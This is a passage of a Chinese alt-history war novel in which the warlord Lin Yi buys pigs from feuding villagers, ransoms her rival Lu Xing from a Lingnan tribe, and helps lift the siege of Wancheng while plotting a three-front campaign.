不过她还是笑得很温柔,轻声细语地道:“之前就在金城郡为白将军打理后方来着,小郡王在呢,可不是若嫣擅离职守,主君可不要降罪人家。” 小郡王? 林一抓了抓脑壳,祝若嫣还是很体贴的,不着痕迹提醒道:“三王子是个非常有治理能力的年轻人,最近一年来四郡有事都找他,而且身份上也好说话。” 哦哦,苏赫乌苏啊! 早这么说林一不就想起来了嘛! 她马上又把乌苏抛在脑后,问道:“白将军在哪儿?既然你赶来了,也不用麻烦姜命跑一趟,富平这边的事就交给你了小祝,好好干!” “白将军在方渠。”祝若嫣笑道:“佯攻方渠骗了四千兵力在她那里,我带着主力赶来会师,现在富平已下,方渠应该打不起来了,这是白将军定的计策。” 林一就觉得白二进步是真的不小,她都会搞计策了……虽然两边算起来五万的兵力,对北地郡这么个郡兵常年六七千的边郡,其实用不上什么奇谋妙计的,还是那句话,林一带这么多人过来不是为了打通一个北地郡的,而是去偷家的。 不过连续干了十来日,就算林一本身精力充沛,也不能不让骑兵们休息,人有精神有信念士气满满是没错啦,可马不是铁打的,这些日子把战马都累得够呛了。 打开了富平的粮仓,林一用粮食换了些鸡鸭鹅猪,现在是可以换猪的,农民一年到头杀个年猪,可不是一家子吃几天猪肉,而是把能卖的肉都卖掉,剩下的卖不掉的部分带回家去吃。除了孩子过年哭着喊着要吃肉,农家人还是更愿意拿猪肉换粮食,大不了过年吃几顿结实的白面馒头,这就是硬货了。 于是林一没有收到多少鸡鸭鹅,农民很少养公禽,大多是养来下蛋的,又不是过年就不下蛋了,所以林一收购到了很多年猪,甚至有的直接赶着生猪过来卖,肚子里多揣些,上称多不少呢!有的农民甚至还因为先收谁家的猪而打起来了,林一怕发生大规模事故,连忙跑去现场维持秩序。 “诶诶诶,吵架就吵架,别上手,扯什么衣裳,一扯就坏,坏了咋赔?”林一挤不进一群人和猪里,只能在外围扯着嗓子喊。 两个正在打架的妇女气得脸红脖子粗,一个把住对方的发髻,一个揪着另一个的衣裳,边上人都没几个看热闹,吼着让看傻眼的雪域人赶紧收猪啊。 一个妇女怒嚷说:“你瞅你家猪,一看凉水没少攮,肚子都鼓成啥样了?” 另一个就骂:“慌着卖啥哩?还不是猪粪攒了一肚子,你拿东西给猪塞了眼儿,不让屙出那几斤粪蛋蛋,哄戎人多卖钱呢!” 林一听得一愣一愣的,张大了嘴巴,其他人纷纷都怒骂起来,不是骂这两个卖猪妇女黑心,而是骂她们怎么吵急眼了什么都说出来?这不是等着人家拖时间吗?有的人家可是来的路上才给猪往死里灌猪草和水的,没那个心眼能想到给猪把后头塞起来啊。 林一大声地喊:“别因为这个打架,收猪收猪,只要排队就按生猪收,不管猪有几斤粪!阿姐阿妹,阿哥阿弟,叔叔伯伯姑姑奶奶们,别吵别嚷,都收,少不了粮食的!” 她头一次发现大嗓门居然也不管用,对生猪这个严肃的问题上,富平村民吵得震天响,谁都不肯排队,开玩笑,排到后头给猪憋死了怎么办? 林一都没有能现场演讲一番,急得头上都冒汗,感觉北地郡的战力不在于士卒,不在于都尉,而在于这些生猛的农户啊。 她越嚷,底下的人为了说清楚就把嗓子吊得更高,最后没法子了,林一只能把雪域骑兵里会说魏语的都找出来,直接分了十几个收猪队伍,花了小半天时间才送走这群祖宗。 猪收完了,被腾出来收猪的菜市场里一地猪粪人屎,林一头上插着几根不知道哪里来的鹅毛,往呼兰霍兰身上一靠,有气无力地说道:“多叫些人,把、把猪宰了。晚上庆功,给将士们开荤,吃杀猪菜……” 被喊来收猪的雪域骑兵们也给折腾得够呛,之前主要是不知道林一收猪有什么寓意,这会儿听见了都差点哭了,啊,是给我们庆功吃的啊?早晓得还不如不收这个,雪域青壮谁没吃过几口肉啊。 大伙只能沉闷地杀起猪来,林一把杀猪的猪血送给了看热闹的富平县民,正准备让人收拾干净菜市场里的屎尿,有还没走的卖猪人急了,连忙问:“女大王,女大王,这猪粪可是金贵,俺家猪也屙了不少……” 林一只好说道:“那、那你们带回去,随便拿好了。” 她看起来甚至有一点秀气了,很敬畏地看着百多个一直不肯走的卖猪人像是参加比武一样争先恐后跑去拾粪,有的就隔着一片草叶,把刚领到的粮食袋子和猪粪放在一个筐子里,拿扁担往回挑,手提肩扛拉小车,一个个都露出了朴实的笑脸。 如果空气里没那么多猪粪味的话,该是多么美好的画卷啊。 反正晚上的庆功宴,不少收猪的雪域人都没吃下,看其他人吃得满嘴流油,满嘴流油……仿佛又回到了那个气味冲天的收猪场。 不过林一很能调节自己的情绪,她若有所思地对祝若嫣道:“北地郡……穷,不是一般的穷,这里好好经营,小祝,如果能经营得好,记你一大功。” 祝若嫣离林一挺远的,哪怕是自家主君,她也很避着了,因为那股生猪味现在还很浓郁,林一毕竟帮着杀了十几头猪,只是来庆功的时候换了个外衣而已。 呼兰霍兰就和没鼻子一样,任由林一偶尔还摸他一把呢。 第183章 其实本来打下一地都有开仓放粮环节的,这一是为了民心,二是为了战后安定,让穷困的人能不趁乱闹事,不过北地郡不行,林一攻打之前就了解过情况,典型的边郡,地少地贫,经济需要依赖一部分畜牧业,边郡的畜牧业就不是平民玩得起的了,那是北地郡的世家大族在干。 富平县两个主要大粮仓,打开之后空得可以跑马,这么点想分是做不到了,不如搞一顿庆功宴,大家都吃得舒坦点,对于北地郡百姓没有得到其他郡的待遇这一点,林一感觉很不好意思,临出发前又特意叮嘱祝若嫣,“附近几郡能多出来的你都有权调配,冬天保证别饿死冻死人,小祝,我们来是为了让他们过得比以前好,而不是放牛放羊一样,我把郡兵带走,给你留三千雍西军,两千骑兵。” 祝若嫣笑道:“主君,雪域骑兵一人带三马,是行军配置,但驻军用不了这么多马,不如匀给雍西军一人一匹,这样岂不是有了五千骑兵?” 她也是在雪域待过的,从被掳掠的货物一路上位到雪域三大汗之一的拔都身边最得宠的汗妃,自然知道雪域的常识,连忙道:“骑兵本身有一匹马,战时部落配给的两匹对吧,应该是可以分润的。” 林一点了点头,对于祝若嫣想把步兵变骑兵的事没什么建议,军队就是一点点训练出来的,菜就多练练,战力早晚会提升,就是这提醒她了,中原以步兵为主流,是因为战马稀少,而她不能一直用雪域骑兵打仗,就像是她现在更多地把悍勇的胶辽兵放在后方,而带着河北兵出去打架一样,一则练兵,二则老兵经历的战事够多了,该休息休息了。 像是之前对雪域骑兵那样,外人猜测的什么林一不想要总是依靠苏赫阿那,完全不存在的,这是由于中原许多人不了解雪域王制引起的,以为三十万雪域骑兵都归属忠诚于苏赫阿那一个,那怎么可能呢。林一自己也是大头兵出身,知道对兵来说,最重要的就是待遇、待遇、待遇! 好待遇既是精神上的,也是物质上的,想让人跟着你拿命干,兵的待遇就不能差。本质上佳兵不祥,最好的兵就是最好的亡命徒,很多上官眼里的好兵回到村里是格格不入的,是大人要拎着小孩叮嘱绕着走的怪人。所以雪域骑兵好战,也好用,但不能一直用,再好的兵都不能一直用,会把人用坏,除非并不把这些兵当人看,林一是做不到的。 从富平出发,路上安定郡和金城郡都听从姜命的调配,把军粮准备得很是充足,而且沿河建粮仓,理论上这些临时粮仓有被反夺的可能,实际上这种骑兵碾压局,又没有像样的对手,这就是个贪吃蛇游戏,走到哪里吞到哪里。 林一吃饱,那边江骋雷霆出击下九江,花了十五日不到的时间,九江郡守亲手杀死一双年幼的儿女,和妻子在城头服毒自尽,这不是壮烈殉国,遗书内容是“以我一家性命,保全九江之民,御杨君于外,乃忠自家王故,今日城破,愿死赎罪,叩启杨君慈悲,莫伤九江民一人。” 遗书说叩启,死去的九江郡守及其夫人也确实是以一个跪伏在地的姿势死去的,一侧的两个孩子脖颈各有一道刀口,兄妹二人拥抱而死。江骋走上城门楼的时候,用刀鞘拨开伏地的尸体,盯着看了很久。 周鹏和江骋算得上少年相识,他是江氏黑水军旧部的遗孤,在江老夫人一家家上门抚恤照料旧部的时候,虽然一直都有旧部遗孀请求老夫人收下她们的孩子,但老夫人从来没有答应过,十一岁的江骋自己带走了十二岁的周鹏。 几经离乱,江骋在洛都做校尉时,周鹏是他的副将,在雁门改姓入宗成为杨骁时,周鹏还是他的副将,如今西北军中有三四位副将,但众人都知道周鹏的地位最高。在江骋沉默的时候,只有周鹏敢凑过去,压低声音说道:“大王,这位陶郡守是江东颇有名望的大儒,他既死,若再屠戮,难免对日后占取江东不利。” 江骋没说话,周鹏也只劝了一句,不再有下文。 这时几名亲兵向后退,萧玲珑穿着一袭红衣走上城门楼,看到尸体也只是抬脚跨过去,抱住江骋的手臂问道:“夫君,怎么还不入城?” 自从先前萧玲珑和江骋一起逃出生天,回到西北,萧玲珑就再也不肯待在后方等战报了,她这辈子和江骋纠缠最深,自从在洛都亲手往萧宏心口捅了一刀后(没捅死),萧玲珑就更黏着江骋了,战场不安全,但她说了一句同生共死,江骋就再也没有质疑过。 好像不是爱,两人都不确定,像两个雪人手牵手,都想从彼此那里挖一点温暖,但这世上最牢不可破的关系,就是两个装睡的人。 江骋只是简单回答道:“处理些事情,外面天冷,你带人去城中找宅邸安置下来,现在城中是安全的。” 周鹏立刻松了一口气,其他将领的脸上或多或少露出一些遗憾之色来。 “城中是安全的”,要是屠城,可不会把夫人放进城里安置,大军入城又不屠戮,这个时候的九江郡城当然是最安全的。 萧玲珑不知这内里的意思,本就明艳动人的颜色多了一抹盈盈水光的笑意,抱着江骋的胳膊晃了晃,“好!我找个大宅邸!” 红裙委地,裙摆擦过九江郡守夫妇已经青白的脸,那边萧玲珑慢慢下了城楼,江骋对周鹏说道:“把陶郡守夫妇和他们的孩子安葬……” 话到一半,两个脖颈被划的孩子中,有一个手臂动了动,人死得没那么透的情况下,尸体也是有可能起肌肉反射的,这就是很多诈尸传说的由来,在场的人都身经百战当然不会感到害怕,周鹏走过去探了一下脉搏,愣了愣,惊奇地说:“没死?” 没死的是小兄妹中十一二岁的哥哥,周鹏的惊奇在于陶郡守下手是很利落的,大约是不忍见孩子受苦,两个刀口都很深,不存在哪个下刀不狠,血染了一地,但靠近了仔细看看,血更多的是从妹妹身上蔓延,因为相拥的姿势看起来是一地的血,但哥哥衣裳上沾的血明显要少很多,这是一个奇迹了。 他看向江骋,江骋点头,“能治就治,用军医,城中的医者精细,但没有军医善治刀伤。” 有个西北的高个子武将咧嘴笑道:“大王,仇人的娃子养不得啊,今日他父母妹子死得这样惨,仇在面皮上就是个怂包,恨在心里,就是个狠人啊。” 江骋发出了几日来第一个笑声,“不养,给林一送去,久闻她好儿郎美色,送她。” 一众西北武将都发出了震天响的笑声,有的是跟风,有的是真松一口气,大王到现在还没个后呢,虽然三家大势力的反王都无后,林一那边是没有自己的孩子。陆行没有当鸭的爱好,江东联盟这个样子,他娶谁家贵女都不合适,一起娶了更不合适,索性单身。这年头重视香火的其实都是底层人,世家大族搞过继的多了。大王无后,今日要是见这陶家一门狠人,起了收养的念头,那可不妙。 也就周鹏停顿了片刻动作。 之前闹不清江东的具体战力,如今一路从沛郡推到九江,江骋大致上就清楚了,下一站拿下合肥,这个冬季就够本,所以在九江也没有多待,至于那个孩子?江骋不关心自己有没有后代,他很清楚自己现在的状态,一个疯子,暂且还有底线。 林一吃江骋,江骋吃陆行,而陆行呢?正在岭南打野人。 岭南多山林瘴气,野人说是野人,其实人家也耕田种地,只是和魏人言语不通,路途阻隔,对野人来说,辛辛苦苦种一年地,外来的人带着刀剑枪盾过来抢一批就走(收税),什么道理!所以每年秋收前后,野人群落都会联合起来。 因为比较原始的缘故,岭南野人以女首领为主,近几年来的女首领姜殷,和一般以保全群落性命为重的首领不同,她是主动带野人打魏朝的,而因为魏朝势力衰亡,对野人们来说,就是越打越顺畅,终于给他们打走了。 姜殷因此成为野人们心中的神!陆行几次来攻,他的军士装备精良,而野人用什么的都有,两下里有来有往,终于在一次夜战之中,挨了三箭的姜殷,光着膀子的姜殷,冲到阵中一把抓住了陆行的发冠,把他从马上拖拽下来,一路砍杀着带进了野人窝点。 啊对,窝点,野人最大的特点就是不建砖瓦屋,好多都是木头草垫的类似树屋的小窝,陆行人都傻了,这辈子你有没有经历过,早上梳了一个特别圆乎整齐的发髻,戴上了心爱的黄金彩宝冠,然后晚上被抓着发冠连着头皮往下扯,扯到敌营的惨事? 我是来打野人的,不是走错方向打到林一了吧? 第184章 如果说最开始江骋还没有开天眼知道陆行不在江东的话,等连战连捷之后,大致上也弄清楚了,江东联盟出问题了,不管出了什么问题,抓住时机永远是不会错的。 江骋马上决定攻打合肥,到时候是直取建业还是内收庐江六安,就看江东那边的反应是快是慢了。 林一同样抓紧机会捅江骋屁股,大军直入陇西天水,进度稍微慢了些,但雪域骑兵横扫无敌,基本上都是因为战后抚民问题而耽搁了时间,老百姓苦啊,早两年就盼着林一赶紧打过来,也就是人太多太挤了,不然高低得抓住鸟翅膀子问一问,鸟大王你咋才来啊!你咋才来啊! 也就是在这里,林一第一次听说了天水郡民自打天水军一战被屠后,听说了雪域来的鸟大王的事迹(姜命来了雍西之后就让人散布的),就日夜盼着林一来了,后来被江骋占下,大家不敢明目张胆谈论鸟大王,但也有招数。就是比如村里有一户人家杀鸡,其他人就以看杀鸡的名义凑过去,就对着杀鸡的场景哭丧,西北驻军要是来问,就说舍不得下蛋的鸡,久而久之竟然成了新的风俗“哭鸡”。 委屈啊,想鸟大王啊,看到被杀的鸡就想她啊,怎么能不大哭一场?尤其秋收前后,哭鸡就非常频繁了,听说鸟大王的治下都不收粮税,看看地,看看鸡,回家看到自家的鸡也想宰了。 林一咽了咽口水,总觉得是不是因为她外星来的,所以不能理解这边的文化习俗,盼她来,然后杀了鸡对着鸡哭……?这是真的盼她来吗?林一以前看过笑话,说有一个星球文明特有意思,全民信仰一个天神,那个天神的具体故事是为了拯救世人来到人间,然后出师未捷身先死,被人挂在十字架上搞死了。 虽然林一挺怀疑那就是个宗教头子被打死的朴实故事,但是总之那个信仰教派宣称被打死的是天神,然后所有人都因为天神之死而有罪来着,他们祈祷被原谅被救赎的具体礼节是……打造一个小型十字架,然后亲吻它,抚摸它,把它挂脖子上握着祈祷。 啊这?真不是恐吓,恐吓那天神滚远点别下凡了吗?反正自从林一听见那个星球的宗教故事起,那天神没降世第二遭。 吸取了教训后,林一打下陇西郡城的时候,就马上掏出了姜命,她闪闪发光的UR卡,比SSR还要高出一个级别的顶级珍稀卡牌。虽然也许在别人看来,她手下都是人才,但偏心的林一认为,武将往后排,文臣往前站,打地盘对她来说容易得不能再容易,治理真的是把鸟逼到头秃,所以姜命是一款奶量破天的经营型UR卡。 自此,林一的所有地盘,雪域+雍西+西北+幽辽+河北胶东全部连成铁板一块,她要是急于求成一点,都可以收拾一身衣裳称帝了。 但是称帝不是林一的目标,偷家才是。 江骋如今兵力压在江东一线,这边被偷了几个郡,那边刚打下两个郡,严格来说不算偷家只能算换家,也不知道谁亏了谁赚了,算算好像是陆行最亏吧,两大反王通过他的两个郡换了家,林一得到安定北地天水和陇西,江骋失去了四个郡却得到了陆行更为富庶的沛郡和九江,而且严格来说自从撤军,这些地方就不属于他的了。 林一很快划定了接下来的目标,直取长安。 当然不是洛都,林一观察过了,江骋在洛都布兵最严,重兵把守渡口和关隘,只要在攻打过程中拖延些时日,马上他就回援了,挑长安不是因为它近,而是守卫力量不多,这地方打下来也守得住。 在忙碌紧张的战场时刻,是人是鬼都在秀,唯有陆行在挨揍,是真物理上的挨揍。一个年轻漂亮的公子哥被女野人抓进窝里就会发生点情情爱爱的东西*吗?那是话本故事,无缘无故在家里种着地,突然就挨了箭,她也是首领,一眼分得清对面的兵就是陆行的手下,姜殷那个暴脾气上来,一天三顿饭揍陆行都嫌太温柔了。 今日出阵,她把陆行按在马上对着江东军呼呼喝喝,岭南野人语比吴语还难懂呢,对面压根不知道姜殷在喊啥,沟通无效之后,她愤怒地抓着陆行回去,邦邦就给了他两拳打成了食铁兽。 陆行有些后悔了,他精通各地方言,就是没学过野人语这种小语种,也打不了手语,手被捆得跟粽子一样,就只能笑了,露出风度翩翩的笑容试图诱惑一下这女野人。 姜殷有没有被诱惑到不知道,反正有两个男野人冲出来又打了陆行一顿,看得出来,这两个男野人很生气。 陆行这下老实了,但他脑子还不老实,很努力地通过表情和肢体来分析语言词汇,想要和这群凶狠的野人沟通,野人数目可不小啊,几千号年轻力壮的,要是能收服,他手底下就多了一支只属于他的强军。 姜殷看陆行被打得差不多了,呼呼喝喝地说:“别打了,打死了,他们会换首领。” 她的两个哥哥马上就住了手,姜殷沉思片刻,说道:“林姐姐在稻子熟的时候来的,现在要下雪了,她近期应该会再来一趟吧?这个人沟通不了,还是要让林姐姐来。” 野人们都点头,姜殷说道:“拿他换点东西,我们不缺粮食,也有很多铜器,但是缺那种盔甲和好兵器,他们只有露在外面的地方被射中才会受伤。” 虽然是野人,但从名姓就能知道个大概了,姜殷和中原世族一样,有个牛逼轰轰的祖先,乃是姜姓炎帝之苗裔,和姜命算是本家,不过炎帝到底太远了,她这一支还有另一个有名先祖:某知名不具直钩钓鱼老头。 钓鱼老头在齐地为王侯,故齐灭亡后,公子王女四处逃散流亡,其中有一支公主的后人远至岭南,带着家人部曲慢慢生活了下来,因为与世隔绝渐渐就和外界断了往来,严格来说其实不叫野人,他们保持着故齐时期的文明水平,和外界隔绝四百多年而已。 林一和姜殷认识,当然认识,她从其他大陆带高产作物回来的时候,总要找气候不同的地方试种啊,岭南地热,按理来说是作物生长最好的地方之一,她认识在这片土地上种地的野人哪里奇怪了。比如她在身毒国那边还有产业呢,打死了一庙的贼秃,圈了一大块地,在里面养了千把来个妇女儿童,妇女们种地养活自己和孩子,因为“鸟神迦楼罗”庇佑,这些可怜的妇女因此可以自由自在生活在那里,还经常捡人回来呢。 身毒的地比岭南还好种一些,林一把很多高产作物到处散布,说起来其实连陆行江骋这边的百姓,每年也开始种植林一偷、呸呸呸,拾来的良种了。林一还准备把豆橛子带出国门,带往身毒等地,那边地热,林一不懂种植,但感觉豆橛子能在那边发光发热,而不像在山东河北这些地方,只能从夏吃到秋。 入夜,林一真来了一趟,当然她主要不是为了来探望野人群落,而是打探前线情况的,从江骋那边过来,西北军中普遍猜测江东这边出问题了,她就来看看具体是啥问题。 姜殷马上就把林一让进了窝里,她住的地方很干净整洁,是四棵大树用稻草绳圈围起来的地盘,顶上有干草叶盖着,岭南再冷也冷不到哪里去,有皮毛就够保暖的了,林一进门的时候,陆行脏兮兮地窝在角落里发抖,别误会,没有遭受什么可怕的东西,就是南方人过冬的那种抖。 姜殷说了什么陆行听不懂,但他马上认出了林一,没说话,很谨慎地判断两人关系。 林一把他从地上扶起来,先给他吃了一颗定心丸,“陆盟主,别怕,我是来带你离开的,这是姜殷,我的一个妹子,她有几项具体要求,你做到就行。” 陆行真松了一口气,林一又道:“带你离开是因为江东告急,江骋已经连下沛郡、九江,现在合肥打一半了,你再不回去就可以在这里一辈子当野人了。” “江骋?”陆行愣了一下,这才多久!他的地盘就是纸糊的也不至于吧,他马上就急了。 林一给他松了绑,示意姜殷说话,姜殷马上大声地咕咕嘎嘎起来,隐约能从野人语里听出一点山东味。 林一边听边点头,“嗯好,四千套盔甲,一千把铁兵器,不许再来抢东西,三百个陆行的亲卫兵……嘎?” 翻译到这里的时候,林一嘎了一声,疑惑地看向姜殷。 姜殷理直气壮地说:“他们的人长得要好看一些,群落里的姐妹看烦了那些唧唧歪歪的黑猴子了,不要他的人,就是找三百个人,要像他身边那些个高英俊的,每年过来和姐妹们玩玩。” 林一严肃地批评了这种把男人当成资源交易的想法,然后压低声音说:“妹子,外头的男人不像你们群落里的羞答答,靠自己也能睡到,很野的嘎。” 姜殷有些不信,但林一说得太真了,加上给她点面子,也就舔了舔嘴唇,点头同意放弃这条。 第185章 和陆行谈条件是很容易的,因为他有钱,而且姜殷要的真不算多,林一不是第一次和他谈赎身的事,所以流程也走得很快,很快两下里谈妥,林一带着陆行离开不久,就有落单的几百丹阳兵架着辎重车过来送货上门。 还是那句话,江东联盟军里步兵战力最强就是丹阳兵,那种精锐悍勇之气扑面而来,林一看了都眼馋,别误会,眼馋的是军队不是人本身。 姜殷就看得理直气壮了,母系部族想繁衍,是不可能羞答答坐下来跟你好好谈的,需要优质的种源时她们通常打一架。在岭南这块充满原始气息的土地上,姜氏都不知道打跑了多少群落才占了最好的地盘,林一也从这些野人群落里看到了世族的前身,大约等到文明的外衣盖到岭南,姜氏也会成为岭南的一支本土大族。 所以世族啊,怎么可能杀得尽杀得绝,分而化之是唯一的途径。 不叙闲言,那边别看陆行挨了几天揍,是一点仇都没记,回到大本营立刻就布置起来,岭南前线全部撤防,退至豫章丹阳一线。接下来联合江东六郡十三家老班底凑人头,那些新占之地其实反对他的声音比较大,但是这次打来的是江骋不是林一,有九江郡守事在前,他也给这些郡中大族传了消息,当此之时一致对外才是渡过难关的唯一机会。 林一也很为陆行着急,江东这边的地她当然也想要,但吃不着的情况下,她也不希望给江骋吃到嘴巴里,在陆行忙碌的日子里,她两头跑,一边奔袭长安,一边给陆行训练步兵,尤其是丹阳兵。江东这边少马战,而雪域这么多年下来遭遇过多少魏朝名将,怎么打损失大这都是有记录的,其中扎哈额真给林一提供了一份完整的来自萧玲珑的外祖,那位魏朝最后的镇守大元帅叶朔的步战骑之法。 步兵打骑兵好打吗?放屁。林一带过骑兵也带过步兵,她能不知道吗?骑兵连人带马都不用兵器,直接就能撞精锐步卒一个稀碎了,更何况重骑兵呢?那在战场上就是个小坞堡,但魏朝常年缺骑兵,叶老元帅历战无数,总结出了多种专攻骑兵的法子。 其一分工,以军伍天然成一个战斗小组,一人或两人弓兵远射,一人覆全甲在身负责硬抗,两名刀手见缝插针砍骑兵腿部或肋下,一个战斗小组换一个骑兵,基本可以做到自身伤损在三人以内带走对面一个骑兵。 其二兵器,特殊改造过的钩锁铁环等物,专门用来绊马阻马的机关,各种铁蒺藜铁钉以及石灰粉等物用来撒马眼睛,骑兵就靠一匹马,只要被拽下马,那基本上就等着被刀了。 其三还有一些缺德计,比如蛮牛冲撞啦,泄洪火烧啦,驱俘虏为战啦……战争嘛,就是一门杀人的艺术。 林一都能感受得到那些将领看她的眼神有多怪了,这些法子无论单拿出哪些来,都是名将传家之宝,这就教给他们了?好像林一不用骑兵一样。 当然林一这个鸟比较大度,她一直没把陆行当成真正的敌人看待,而且就算以后可能有攻打江东的需求,她也不会把雪域骑兵拉到这边来,费钱粮不说,那么多河道啊,人能游水那马怎么过?先跟陆行借大船? 总之林一的友善谁都能感受得到,这可是行军路上一直跟着他们教,就差把馒头掰开喂到嘴巴里了,陆行发了狠,这次直接组织了江东联军二十万,啊对,越来越少了,因为他的摊子越铺越大了,能现拉出这么多兵去夺回合肥已经是在搏了。 合肥不能失!失了合肥,它是整个江淮战区的水陆交通枢纽,有了合肥,江骋就能直接通过水路进入巢湖集兵休整,南下将不费吹灰之力。对于江东来说,没有了江北缓冲区,战线直接拉到长江边,主动权完全在敌人手里,就算江骋不动,陆行也将惶惶不可终日,不管什么时候江骋给他来一下子,都是直接打痛。 江东人对合肥的执念啊,这就是症结所在了,难道还能是因为合肥这个地名很好听迈? 连日奔袭向合肥,江骋的进度一点都不慢,合肥此时基本全线被下,江北之地尽入他手,只有庐江郡的皖城还在死守不退,庐江太守周倾在郡治舒县被破后,南逃至皖城继续应敌,皖城比舒县易守,因为皖城本就是庐江郡乃至整个江北的军事重镇之一,陆行在此地布兵过万。 皖城不能不下,这个位置正好可以成为西北军下一步进攻江东的桥头堡,而假如留着这个钉子在卧榻之侧,在江东军攻来的时候,就会让他遭受夹击。打仗必攻城,有时候显得好像打仗就是一个个攻城的过程,不是因为作者在水字数,而是因为绝大多数城池的位置就是天然的战争点,不是这个城刚好在必经之路上,而是当权势力会在险要之地建城,因果关系不能反。 总之,在江骋集中火力,甚至打出了火气攻打皖城时,陆行带着大军犹如一个捉奸的正室气势汹汹地赶来了,也实在多亏了周倾的坚守,不然失却皖城更加难打。 林一不光帮着练兵啊,她还帮着出谋划策来着,但是最终还是放弃了,因为她发现在水战这事上,人家陆行真的是专业的。 大军围困皖城三十日之久,城中郡兵以及周氏子弟兵从每日两餐降至每日一顿稀粥,周倾以身作则同样一天一顿,不过他真吃不下麸子,吃用的大多是咸鱼白饭,这不是死守之前的口腹之欲,而是世族公子娇惯久了,他吃麸子会痛呕不止,但就是这样的情况了,他也没有想过投降。 今日城下战局有变,周倾召集了郡兵,对众人道:“城中粮仓见底,皖城大族捐粮三日,仍然不足,但我见他们行路稳当,不似哭诉的那样,如今守城事紧,诸位稍后在各自上官带领之下去大户家中取粮,不可奸淫掳掠,只取粮食,我们饿死了,城中百姓皆难活命,此事我一力承担。” 周氏乃是庐江郡望,却开了从世族取粮的先河,以后会如何,他自己都懒得去想了,只是看着底下一双双兴奋起来的眼睛,露出和煦的笑容来,随即脸色一冷,肃杀之气逸散:“饭不是白吃的!取粮饱食后,再与西北贼战一场!” 连饿多日的郡兵一下子气势如虹,随后冲入城中世族家中翻找粮食,甚至是井然有序的。 林一在周倾和陆行之间充当了传信鸟,两边早就商定里应外合给江骋来个大的,等到四处蒸饭,米香逸散,周倾都忍不住吞了吞口水,没有佐菜,直接挖了一大勺热腾腾的稻米饭填进嘴里,这些天他虽然吃的白饭,但是量少,熬成粥也就一碗而已,连吃了几大口,这才有些腼腆地朝一直坐着的林一行了个礼,客气地道:“林君饭否?持衡一时失态……一起用些?” 他都忘记了世族请人吃饭的排场了,可不止这守城的三十天,他在退守皖城之前就开始三天饿六顿了,士卒比他吃得饱是因为他们吃得下麸子。 林一连忙摆手,她不吃她不吃,不是看不上江东白米饭,她也能空口吃一盆的,但是看人家都这个样子了,就省点吧,反正她到哪里都可以吃饱。 周倾吃饱大概挖了五六勺饭,饿久了就吃不下太多,胃受不住,林一看着他,然后想起自家弱水郎来了,段凛也是个人才,他当时和周倾几乎面对着一样的绝境,怎么人家就晓得就食于大户?他都要饿死了还想着不抢不夺嘞。 外头也是一片蒸饭香气,有的专门把饭蒸得稀烂,这样吃起来快,干噎是很噎的,周倾至少噎了两次,噎得翻白眼了,虽然美男子翻白眼别有一番……打住。 林一还是很尊重战场的,来回又沟通了两次之后,陆行和周倾定下时间,准备的是夜战。 不是说江骋不会打夜战,林一可见识过,但重点在于马又不会夜视是吧?夜战能让骑兵的杀伤力减少一些,并且城中突围,外围夜袭,里应外合,这些已经把战场最利因素都组合起来了,要不是林一,陆行得死多少人才能和这座孤城联系上,就是联系上了,江骋也早发现了。 所以林一在陆行那边的时候,狠狠吃了他一顿咸鱼白饭,按盆子装的那种,他可不缺粮食,甚至被野人还揍胖了一圈呢。 星火点染,远在长安的雪域骑兵和雍西军的大本营里,庞半天和姐姐庞杀正在定计,原本都是林一两边指挥,但是今夜事发突然,长安城中的探子来报,说是郡守突发恶疾——真的是突发恶疾,好像是梅毒发作什么的,产生了幻觉,在府邸里提刀到处砍人,这种机会稍纵即逝,而林一不在。 没法子了,将在外君令有所不受,说的就是这种情况了,打! 第186章 今年三大势力没有一个过得好年的,战事起来就不由人意了,从一开始的互相偷家演变成为大会战也就是一瞬间的工夫。 二月十三,西边战线稳夺长安,二月十四,西北军与江东军在皖城郊外鏖战,皖城郡兵过万,从城中杀出与江东军里应外合,激战两日后,因为战损过万,江骋终于决定回撤。陆行哪里肯放他走,但打骑兵难,追骑兵更难,只留下一地人尸马躯,血染皖城。 此战到这里已经算是大捷,陆行不惜耗费大量人力物力,征召大族,联盟各方,将江骋驱离江东,林一劝他见好就收,谁都知道林一打江骋的经验很足,陆行很客气地听了林一的建议。但他听了手下大将没有听,这可是把天下传名的大反王按着打的机会!连日令撤军都没有用,终于在二月三十二日这天被江骋佯败引入沛郡,此战大将身死,六千先遣精兵尽数被屠,身首分离,尸首堆于沛城门口。 陆行的大捷因此打了个大大的折扣,但地存人失,还能继续征兵,虽然心痛但结果已经很不错了,陆行为此要请林一吃饭,林一拒绝了,谁有空跟他吃饭,趁着机会多占些地才是正经。 庞半天的丈夫们里以老大呼兰阙利为首,在战场上第一次大放光彩,自拿下长安起,一路高歌猛进,先后拿下汉中与弘农,回钩武都郡,彻底将新下的地盘稳固下来。这是一套完整的战果:中心长安,南扩至汉中立下南面屏障,东取弘农作为东面锁钥,江骋想要打回来需要付出巨大代价,随后没有贸然东进,而是稳固后方防线,将武都郡收入囊中,保证侧翼的安全。 林一回到这方战线之后,马上做了决定,歇什么歇?考什么破试?调兵!调兵!调兵! 今年的冬季快要过去了,雪域骑兵其实是最适应寒冷气候的,江骋那边才在江东遭遇大败,正是士气低迷之时,又刚好撕下他一块大地盘,不接着打等他经营起来吗?虽然林一很怀疑江骋除了搞军事到底会不会经营,但是打就对了! 最后一场小雪飘落浮阳城时,王澈垮着个臭脸收拾行李,出于粮草和各方考虑,林一准备布置三面合围的战场,长安一线,常山一线,以及太原上党一线,并为每个战线配置主将和军师。长安一线她亲自盯着,庞氏姐妹为辅,常山一线调回韩小六,让他和他的狗头军师崔殊上,这配置也算经典,曾经打到叶尼塞河边,接着是太原上党作为一线最复杂的战线,主将呼兰霍兰,她需要一个缺德东西来顶上。 雪域骑兵仍然由苏赫阿那带领,他不是固定守卫哪一条战线的,骑兵机动快,林一让苏赫阿那集兵西北按兵不动,哪边出问题了往哪边支援即可,如果按照最好的情况,应该用不上这些吞金怪。 三月末,三线合围之势已成,江骋没有选择回援中原那些已经在包围圈里的郡,而是权衡之后,率领十万西北精锐突袭了泰山郡,随后速攻下济南,在短短的时间内就在林一的后方建起了地盘,陆行很够义气地帮着打了几回,灰溜溜地又回去了,都没有来得及和林一打个招呼,白给得很快,还损失了步卒三千。 眼看这样下去又成换家大作战了,林一毫不犹豫,抢时间是吧?看你偷我老家快,还是我偷你老家更快? 